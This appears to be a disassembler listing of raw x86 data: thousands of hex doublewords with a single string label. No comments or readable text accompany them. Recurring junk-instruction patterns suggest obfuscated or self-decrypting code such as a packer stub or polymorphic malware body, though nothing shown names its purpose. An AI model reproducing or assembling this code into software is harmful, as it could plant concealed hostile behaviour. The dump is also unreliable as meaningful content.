0BD16800h, 8B66AAA1h dd 240481DFh, 557DF82Eh, 1CE995FFh, 0DF8B07FAh, 0EB968589h dd 958907FDh, 7FA2251h, 1D7E9h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0DDCAFB61h dd 0E9B71A89h, 0Dh, 195C1253h, 5119DE37h, 5C736670h, 0F1BD89A8h dd 8B07FA07h, 0FDEB8E85h, 55006A07h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 86E91A23h dd 0C8B0Fh, 820F0000h, 6, 26A99D8Bh, 0B70F07FAh, 1800C7F9h dd 66000000h, 0B58BFE8Bh, 7FDEB92h, 0EE9h, 7D66C200h, 7E8878A8h dd 8155CE82h, 0F515FEC7h, 0D51858Bh, 0BD8B07FAh, 7FA2AE1h dd 0BF0F0689h, 0E9858BDFh, 6A07FA0Fh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 75DAC355h dd 52C57CE1h, 9AB96B56h, 118D9589h, 0DA8A07FAh, 6A044689h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 598FC352h, 82346C09h, 319D335Ch, 9607FA23h dd 6ADCE6BBh, 0BF665060h, 0BB9697E3h, 6F7BD9A5h, 0EB8EB5FFh dd 6A07FDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 5C2BF2C3h, 62A0B068h, 860FC5h, 81000000h dd 634F2404h, 6A3ABCh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0FC6033C3h, 96858D61h, 6A07FDEBh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 78ECC355h, 0E821B27Ch, 0F50ED04h, 8Fh, 24048900h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 36C35747h dd 5B468CEEh, 0FF9EB457h, 0FA1CE995h, 0AE907h, 6E660000h dd 0BA19A9CEh, 72CA8E59h, 50006A61h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 0A7004B2Bh dd 2531BD33h, 952907FAh, 7FA29DDh, 2BD985C7h, 307FAh, 8B660000h dd 96BD83F8h, 7FDEBh, 32840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0C5A7A9C3h dd 2162AFABh, 24E9B2B8h, 80000000h, 9D8B5ECBh, 7FA1681h dd 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch, 7504E983h dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 0BBC08B00h dd 6B5F2E7Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 68C35646h, 81B177B3h, 0C6BF96E7h, 89958932h, 8307FA22h dd 0FA2BD9BDh, 850F0307h, 47Fh, 1BC59D89h, 0BD8307FAh dd 7FDEB96h, 6C840F00h, 8B000004h, 0FA26B59Dh, 96B5FF07h dd 0FC07FDEBh, 274595FFh, 6A07FAh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0E3CBCDC3h, 7388D31Fh dd 0F006BB66h dd 0EB8AB58Bh, 6A07FDh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 0A549F9C3h, 73A7B781h, 8B06AFCFh dd 0FA1CB19Dh, 0BF0F6007h, 419D8BCAh, 6107FA05h, 106C7h dd 0BF660001h, 0DF8BCE28h, 0C8C0F50h, 0E9000000h, 7, 0DE82EED4h dd 89EB187Eh, 0BF0F2434h, 96B5FFDEh, 8907FDEBh, 0FA11A185h dd 0E195FF07h, 6A07FA18h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 77B8C353h, 0C67EE41Ch dd 6E984h, 0C59D0000h, 807B6D69h, 0EB8AB58Bh, 6A07FDh dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 9BD300C3h, 0FA7AE1CBh, 7D858B94h, 6A07FA1Ch, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0BB9FC352h, 375A0585h, 4EDF8166h, 0C48689ECh, 80000000h dd 958B24D7h, 7FA1CD9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 19h, 0BEC35747h, 17BEFE2Eh, 0EE9B9h, 6D80000h dd 6FF40570h, 738149FDh, 4D5212E1h, 6A04C283h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 2163C357h, 93CE38AFh, 9D8B7391h, 7FA20D9h, 6870Fh, 0F3810000h dd 549FC9C9h, 8D205089h, 0FDFEF785h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0D99B2993h dd 31BD01BFh, 8B07FA31h, 0FA14BDBDh, 0B8868907h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0F7EFC353h, 88C1849Ah, 0FDEBF0Fh, 387h, 0DA8B6600h dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 0F27B6C3h, 1781h, 0FE85700h, 0A0000000h dd 0CF61081Ah, 88F054Dh, 98859DCh, 5B5F40CDh, 0EB96B5FFh dd 0DA8A07FDh, 1C9595FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0AF50FCC3h, 965EC271h dd 0E850F98Bh, 0Eh, 6B99F6AEh, 869CF85Ah, 0BB1EAC72h, 965B2320h dd 0B5FFF98Bh, 7FDEB96h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 0F0C35040h, 1D9595FFh, 6A07FAh, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 111FF1C3h, 53605FB5h, 0BE95FF9h, 86000000h, 0C08C1054h dd 2C8571C8h, 89610288h, 0FA0E1D9Dh, 31BD8307h, 7FA01h dd 82840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 112EDBC3h, 6817D796h, 50F916DBh dd 13E8h, 0E76F00h, 78B83723h, 0B7DF6138h, 7DEBD25h, 7AF155FEh dd 5F6EB353h, 2434895Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 61C35141h, 0BE3779A6h, 17BEFE2Eh, 0E820FB9h dd 0E8000000h, 6, 33BBDFB5h, 0FD8AB2AAh, 5FF8515Bh, 0EB96B5FFh dd 9D8B07FDh, 7FA2E65h, 1CB595FFh, 6A07FAh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 25A6A5C3h dd 0E91BF726h, 0D8B70F53h, 96B5FF5Fh, 107FDEBh, 0FA316D95h dd 0AD95FF07h, 8907FA21h, 0FA16C98Dh, 699D8B07h, 8307FA28h dd 0FA2221BDh, 840F0207h, 59h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0BBC35141h, 0A4E1CD10h, 0BD89098Ah dd 7FA3295h, 1615858Bh, 0FE8B07FAh, 6A0000C6h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 0A1D2C351h, 72DF765Ah, 50BB66EBh, 0DD85C7BCh, 7FA16h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0E923C357h, 0FFFFF3FCh, 8E9h dd 8AB8C900h, 9A7E50C5h, 0FC18B35h, 0DE8BD9B7h, 199858Dh dd 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 3B3AC9C3h, 90F88B9Fh, 0BB665250h, 310FE1E5h dd 585A01B3h, 0BF605750h, 5833131Dh, 5F61B2B4h, 0BDBD8B90h dd 0B307FA1Dh, 31006AA9h, 0FA2F69BDh, 6A006A07h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 2181C351h, 0BD8B641Dh, 7FA1675h, 0AE9h, 0DA462D00h dd 0D0608184h, 8DF88672h, 0FF0AA585h, 0DBD0107h, 8007FA24h dd 0C0839CEBh, 8B50F805h, 240489D8h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 98C35545h, 51AE5A69h, 8E0F73BFh dd 6, 222D9D8Bh, 0B58907FAh, 7FA2A2Dh, 6A006Ah, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 0CEB407C3h, 0F6B70F60h, 2215BD89h, 6A6107FAh, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0E0845BDDh, 0FF2FB74Ch, 0FA2BE995h, 52006A07h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 0E233137Eh, 0D7118D8Dh, 816607FDh, 0FFC8B3F7h, 83EAB7D1h dd 0FA33EDBDh, 850F0107h, 0D2h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 30C35343h, 26A66EEh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E7C35747h, 0FF947B0h dd 0D381FBB7h, 4BE8BB35h, 1270D381h, 60905CDBh, 0DE85250h dd 83000000h, 6B18FE80h, 6020C2EBh, 2E0DB1B9h, 66310F58h dd 5A3660BBh, 7E858h, 0B0350000h, 20CD6965h, 5E5A5145h dd 810F5061h, 15h, 0F840Fh, 0AE90000h, 0DE000000h, 1F4CAE2Fh dd 0BFBDCCC2h, 0E956900Fh, 9, 3C87EE53h, 56B9AF28h, 95FF5F80h dd 7FA1C95h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 63C35242h, 986AF9C0h, 1EE95A69h, 0E800000Dh, 0 dd 0AFED815Dh, 6A07FF0Ah, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0EBA7C352h, 8166796Eh dd 0E9C493DFh, 0Fh, 0A51D68D9h, 0F8A1401Dh, 0DB7C6F0Dh dd 8D92068Ah, 0FDB95985h, 66519007h, 5BFD23BBh, 8B666050h dd 0EE960D7h, 9F000000h, 5BAB71B6h, 0BFF311Ah, 141B547Fh dd 0F28B663Ch, 0F906161h, 158Ah, 0F890F00h, 0E9000000h dd 0Ah, 74D7100h, 0E75AE8E7h, 8B665105h, 35FF64FAh, 0 dd 64FFB70Fh, 2589h, 9D8B0000h, 7FA2EEDh, 0FFF98B66h, 0FA104985h dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 36E62F86h, 6AFBB70Fh, 55006AFFh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1C04h, 0C3554500h, 4580902Fh dd 16A482Ch, 8D0FFCh, 0FF000000h, 0FA2149B5h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0BFF5898Dh, 603827F3h, 287595FFh, 9E907FAh, 29000001h dd 0FA2041BDh, 8B00B007h, 0FA1115BDh, 8B70E607h, 0FA28619Dh dd 0F71E407h, 613CFAB7h, 0E6830Fh, 0BD8B0000h, 7FA33F1h dd 0BAC8B60Fh, 6, 0BD8BDA8Bh, 7FA24B1h, 0CE9C18Bh, 0F7000000h dd 6B01B372h, 65DC54E2h, 0C16FCADDh, 0DA8B04E8h, 89E2F766h dd 0FA2E6595h, 0B3C82B07h, 31D18BD6h, 0FA316D95h, 9EE907h dd 49B30000h, 4858Bh, 0F600000h, 68Dh, 49B58900h, 2907FA08h dd 0FA0F9195h, 0C0836107h, 99BD0307h, 8307FA00h, 9D8B00C0h dd 7FA31C9h, 830FD03Bh, 0Eh, 38A0Fh, 0DF800000h, 5AE9BBh dd 8D8B0000h, 0FFFFFFFFh, 9FA2D381h, 0E1835838h, 45840F01h dd 0E9000000h, 10h, 3C086FD9h, 736F4ADBh, 0D59F3EF7h, 9FFF2529h dd 4860Fh, 0BB660000h, 0A5833256h, 0FFFFFFFFh, 8D9D8BFEh dd 8907FA16h, 495h, 9E900h, 0BDBE0000h, 0CCD9D29h, 0E93E6BDDh dd 0 dd 854FB58Dh, 9D8907FEh, 7FA1F3Dh, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 8A5465C3h dd 619D8BFCh, 6607FA27h, 95FFD98Bh, 7FA1019h, 12E8h, 8E253E00h dd 623912DEh, 712B7DFBh, 16D20F06h, 1467C0Ch, 0FA220DBDh dd 0DAB95B07h, 8B00000Eh, 0FCE183D8h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 62C35242h, 8B03604Ah, 0F98AD320h dd 2D8589FCh, 0B807FA2Fh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 3FC35141h dd 4A9509A0h, 0BF665799h, 9D29F0EEh, 7FA2B39h, 840FD22Bh dd 3, 0ADDFB70Fh, 0E8D1C233h, 0E983D003h, 80F47504h, 6A98C3h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0D88B70C3h, 880Dh, 71B58900h, 2307FA05h, 0FA29B1BDh dd 0D9958B07h, 6A07FA1Ch, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 2499C357h, 5B73FD3h dd 0BD09ECE1h, 7FA2955h, 29818589h, 8D8B07FAh, 7FA31ADh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 67C35141h dd 4D8CEB9Dh, 0B1D5D7F4h, 51953191h, 5007FA06h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 3DA8A58h, 0FA0839BDh dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 1186DD49h, 0AE0AC0BEh, 0BD836A81h, 7FA2A29h dd 97840F00h, 66000000h, 8F5DD781h, 0E8F0Fh, 0F600000h dd 84h, 65953300h, 6107FA2Dh, 0B8h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 84194BE2h dd 0FA8B66FEh, 4F668D8Dh, 6A07FAh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 718F64C3h, 5E6C2BA2h dd 99D8B92h, 0FF07FA2Ch, 53006AE1h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 0E6904A4h, 0A0DFEB81h dd 0BD833FECh, 7FA2BD9h, 0B1840F00h, 6A000003h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 24D2C357h, 0D4B3D712h, 2AF1A579h, 2BD9BD83h, 0F0107FAh dd 39A84h, 0E5958900h, 8307FA07h, 0FA2BD9BDh, 860F0307h dd 351h, 0AC9642BFh, 6A6062h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 28D89BC3h, 9094953Bh dd 8BD98C66h, 0FA2EA5BDh, 4E18007h, 29B58D89h, 952907FAh dd 7FA21A1h, 840FC90Ah, 106h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0A0C35545h, 0DBFCAE5Fh, 64BF660Ah dd 0E9858B9Ah, 6607FA0Fh, 9462CB81h, 15E18533h, 880F07FAh dd 15h, 0DE8h, 976B1400h, 0D8D9DAEDh, 0F4057006h, 0DE8AFD6Fh dd 68F0F5Fh, 31000000h, 0FA2379BDh, 8FB75007h, 6A240489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 0B634C356h, 0BD2B1928h, 850F60B4h, 6, 14B18D31h dd 8E0F07FAh, 6, 23F1858Bh, 6A6107FAh, 0DBBF6600h, 46DE6847h dd 0BB660E0Dh, 34814305h, 12452124h, 0AE90Eh, 81E40000h dd 0AF3477C0h, 0DBF69095h, 0AA5BD2Bh, 95FF07FAh, 7FA1CE9h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0CC35141h dd 1C9C4EF8h, 8B66EADBh, 968589FBh, 8007FDEBh, 0AAE90CD3h dd 0F000001h, 858BF9B7h, 7FDEB8Eh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 0D1C35545h, 0F67D38Ch, 1482h dd 0FE900h, 9B6A0000h, 0A1835700h, 0CD410219h, 0D2F13D88h dd 0C7DA8B98h, 1800h, 0B6E8BF00h, 0B58B74DAh, 7FDEB92h dd 2C01B531h, 858B07FAh, 7FA0D51h, 6860Fh, 0BD8B0000h dd 7FA294Dh, 6A0689h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 512019C3h, 8D91A5D9h, 3189813Fh dd 0FA1EC5BDh, 10E807h, 6FD90000h, 4ADB3C08h, 3EF7736Fh dd 2529D59Fh, 8B5B9FFFh, 0FA0FE985h, 0D88B6607h, 0E8044689h dd 7, 4E564F22h, 0E9D593F2h, 10h, 0F948318Dh, 0A14FA3A2h dd 63C3EA2Dh, 0C22879A1h, 0D1BF965Bh, 50273CD5h, 0CE95250h dd 0DC000000h, 0BC068C2Eh, 93ED9E8h, 0FA7F8EBh, 0AE931h dd 71C50000h, 51B89698h, 519C9901h, 6696585Ah, 0DF89EF81h dd 0EB8EB5FFh, 80B707FDh, 4E8h, 1F03FF00h, 20CEBB00h, 0E9501F25h dd 14h, 0A2AE6D1Ah, 9CC33D52h, 3B500863h, 2A0F23Dh, 0B2E211C2h dd 424448Bh, 8BDA8Ah, 4489CEB7h, 8B580424h, 96858DFBh dd 8007FDEBh, 0BB6649CFh, 6090DD59h, 0F811B866h, 5E9h dd 4F7C6300h, 5061CA80h, 10E8h, 69C26A00h, 0F1DCA04Ch dd 0D29130C3h, 9A73A4F8h, 12E908h, 15BA0000h, 3A5B8BACh dd 7DC95E45h, 0DCABF4E1h, 0CE605F12h, 0C6BF905Bh, 0FF6D1B06h dd 0FA1CE995h, 0D3816107h, 20EDFD5Bh, 2BD985C7h, 307FAh dd 0BD8B0000h, 7FA1C31h, 0EB96BD83h, 0F0007FDh, 3884h dd 0D5BD2B00h, 0E907FA25h, 48h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 79C35141h, 97E0B5F8h, 6220F408h dd 3FE8B5Ch, 0FA0F219Dh, 0C305007h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 6CC35242h, 6AE83AC4h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 4AD6C353h dd 600C789Ch, 2EC9BD09h, 11E807FAh, 0F9000000h, 0A6CF740Eh dd 0C8A0B8CFh, 7E1DE3D1h, 293515DDh, 61596160h, 2BD9BD83h dd 0F0307FAh, 40385h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0E2AEAD4Bh, 0EF5D2B79h dd 14E93Dh, 5D1A0000h, 3CB2D88h, 987063C4h, 0C84E4C4Fh dd 0F0BCAE1Fh, 0BD830DEDh, 7FDEB96h, 0B9840F00h, 0FF000003h dd 0FDEB96B5h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0B0CB802Ch, 274595FFh dd 0BB6607FAh, 0B58B4280h, 7FDEB8Ah, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 18h, 70C35242h, 9550E2CFh, 1545BD8Bh dd 6C707FAh, 10001h, 68C0Fh, 0BD8B0000h, 7FA25ADh, 8820F96h dd 0F000000h, 287h, 505B5000h, 4C18BB66h, 50006A96h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 0F3AC5D4h, 6084DBC6h, 9E8h, 0A106BB00h, 270575C6h, 5F5221A0h dd 96B5FF5Fh, 6A07FDEBh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0F6FC352h, 684h, 0B8666000h dd 0FF61047Fh, 0FA18E195h, 4D8D8907h, 0BB07FA0Dh, 0AA75D2Fh dd 0EB8AB58Bh, 6A07FDh, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 59767CC3h, 1F09BD89h, 9D8B07FAh dd 7FA0AF1h, 6830Fh, 85010000h, 7FA015Dh, 1C7D858Bh, 11E907FAh dd 0E000000h, 0DD5D2141h, 3CD04A32h, 0B3D85C43h, 0C4AED767h dd 29D1BD8Bh, 868907FAh, 0C4h, 6E9h, 89128E00h, 8B397E61h dd 0FA1CD995h, 0E1858907h, 8307FA02h, 0F6B304C2h, 6A205089h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0D5B6C353h dd 7BA2A10Ah, 73D2E8Fh, 0F890Fh, 0AE90000h, 0E4000000h dd 0B76CF2B1h, 0DDED8028h, 0D78166C2h, 858D348Ah, 7FDFEF7h dd 868933B3h, 0B8h, 0BE9h, 5DECEE00h, 752E773Ah, 7A31ADDh dd 810F006Ah, 2, 0B5FFDE8Bh, 7FDEB96h, 651ADBFh, 9595FF28h dd 6607FA1Ch, 78DC381h, 0BE996h, 27AA0000h, 0DC79FDDFh dd 896A0058h, 0BF6650A9h, 6A96CC42h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 261CC352h dd 0CD3E3598h, 0B58914AFh, 7FA3139h, 0EB96B5FFh, 0B53107FDh dd 7FA08A1h, 1D9595FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 9D2B66C3h, 7FA2A31h dd 131BD83h, 0F0007FAh, 2E84h, 3721BF00h, 60502D2Bh, 68F0Fh dd 8E0F0000h, 0 dd 0EE8h, 0E0D5E400h, 0F7FD25F7h, 0DF956C98h, 66E81E5Bh dd 615FC38Bh, 0FF243489h, 0FDEB96B5h, 1D852907h, 0FF07FA2Dh dd 0FA1CB595h, 0A820F07h, 60000000h, 0D681CF8Bh, 3E201C00h dd 96B5FF61h, 8B07FDEBh, 0FA20BDBDh, 11E807h, 1B460000h dd 0C9940CCEh, 0D86AB99Bh, 534C2201h, 66168316h, 0FF5FF98Bh dd 0FA21AD95h, 56006A07h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 0F73B7BDh, 0BD83DABFh dd 7FA2221h, 6C840F02h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0D3ACC355h dd 2CE70B87h, 858BEA72h, 7FA1615h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 0CBC35040h, 0B6272BDBh, 0C649h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0DDC35242h dd 0C7DF8B1Ah, 0FA16DD85h, 7, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0EABFF2E2h dd 0A5EC56FDh, 0FFF3DAE9h, 55006AFFh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 9D0B82B4h dd 7FA2E99h, 8B66C18Bh, 99858DD9h, 6A07FA01h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 0FC32C352h, 501FB390h, 0EF5C76BFh, 14E99013h, 0A6000000h dd 0A712945Fh, 0E97E9124h, 0AA44A6C2h, 0CE9DB09Dh, 6A4FD2DEh dd 6830F00h, 89000000h, 0FA0E198Dh, 0F8BF0F07h, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 9373CBC3h, 0C98160E4h, 556106E9h, 8E9h, 66D37D00h, 0BA4332ACh dd 0F38161CBh, 46BC04AFh, 19E1858Dh, 12E907FFh, 0B5000000h dd 9CBF54C3h, 4DAD58DFh, 29181CEBh, 48AEF3A2h, 952960ACh dd 7FA15E9h, 8361C28Ah, 6A05C0h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 57533BC3h, 6690C41Ch dd 9050FE8Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 7EC35141h, 66990C49h, 0BCB7F98Bh, 6A006Ah, 3E850h dd 58200000h, 448958C3h, 44810424h, 180424h, 50400000h dd 0DFA4D4C3h, 800FBBD0h, 0Ah, 5958B60h, 5707FA0Dh, 6A615Ah dd 11E8h, 7AD3F100h, 421FCCE4h, 0A4676AFEh, 0C7B50980h dd 66573792h, 5B5BF88Bh, 2BE995FFh, 0BD8B07FAh, 7FA259Dh dd 12E9h, 0D52E1700h, 38EAE0B2h, 0B51D7843h, 11DF2BF3h dd 8D52C7F5h, 0FDD7118Dh, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 0D55EF98Ch dd 0BD8B0EE2h, 7FA078Dh, 7D9D8B50h, 5F07FA0Eh, 0BB66D1FFh dd 0BD83D026h, 7FA33EDh, 57850F01h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 94D3C353h, 26A5DE6h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 4DC35545h, 0F215C894h, 0DA8B6650h, 0BB240489h dd 77B0A3Ch, 1C9595FFh, 0BB6607FAh, 1BE9A329h, 0E800000Eh dd 0 dd 0EBED815Dh, 6A07FF19h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0C90FC353h, 3518A3Ch dd 0ECB36F0Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 4CC35141h, 4BC78166h, 59858DB9h, 6A07FDB9h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0C8C4C353h, 8C30A825h, 0F2504E0h, 681h, 60DB8100h, 9018330Ah dd 56505B56h, 905BD88Bh, 2B798529h, 616007FAh, 35FF64h dd 81000000h, 21939DF7h, 2589642Fh, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 61C35747h dd 0C13A4FD6h, 890F66h, 0FF000000h, 0FA104985h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 0D6105EFAh, 0F5A39068h, 6820F01h, 0B000000h, 0FA0E299Dh dd 0E9FF6A07h, 0Dh, 27A4DC05h, 0C2318729h, 0C4EC879Eh dd 0EDB5FFBAh, 0FF07FA28h, 0FA287595h, 152E907h, 880F0000h dd 6, 3175BD89h, 0B007FAh, 0E6FE8B66h, 759D8B70h, 0E407FA25h dd 0D4F38171h, 3C77DC01h, 29830F61h, 0F000001h, 0B60FD8B7h dd 41BD2BC8h, 0E807FA2Fh, 0Fh, 0B71A89DDh, 6A92C0F6h, 9199ACE3h dd 0F425219h, 80h, 6BA5B00h, 0E9000000h, 14h, 18C70BA7h dd 0D61F80EAh, 46B24BADh, 0DFCA891h, 176C524Bh, 0AE8C18Bh dd 81000000h, 88381987h, 0A988F9BEh, 7E8C3h, 0E9750000h dd 7743C5CFh, 0C15B5F41h, 0B50904E8h, 7FA1D25h, 81E2F766h dd 0A49720CFh, 8AC82B50h, 89D18BFDh, 0FA1BE1B5h, 0A2E907h dd 8B570000h, 0FA21D5BDh, 858B5F07h, 5F4C4C44h, 0C083C2B7h dd 58F0F07h, 66000000h, 5F9FDF81h, 0C083DA8Bh, 13E85600h dd 0E6000000h, 720D4DC7h, 0D6DA2821h, 53200BF2h, 0A9B049EAh dd 0C3816B1Bh, 5F45A176h, 830F5F5Bh, 3, 3BDFBF0Fh, 18830FD0h dd 89000000h, 0FA155185h, 2DDFBB07h, 3DE918D8h, 50000000h dd 91BD33h, 8B5F07FAh, 0FFFFFF8Dh, 9D9589FFh, 8307FA0Bh dd 840F01E1h, 20h, 0A583F88Bh, 0FFFFFFFFh, 0E5BD8BFEh dd 8907FA00h, 4C4C4495h, 0A99D8B5Fh, 0E907FA29h, 0 dd 9429B58Dh, 0F8B307FEh, 6A006Ah, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 44DDE7C3h, 0FFFBBF0Fh dd 0FA101995h, 8E807h, 95100000h, 0CD0BA59Bh, 0C781473Ah dd 62DF8E04h, 0F86B95Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0AE9CCC3h, 0A8000000h dd 0F85C6390h, 6E7069BEh, 0FCE183F0h, 1895BD8Bh, 816607FAh dd 0FCB780EBh, 11E960FCh, 0BA000000h, 804892FEh, 65C51CDh dd 0C127CC0Ch, 33B55D49h, 25BD9529h, 0B86107FAh, 0 aFl db 'f▀ь╨',0 align 4 dd 0B9D8529h, 33AD07FAh, 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h dd 6E854BC3h, 5BA3DB3h, 952906F6h, 7FA353Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 67C35141h, 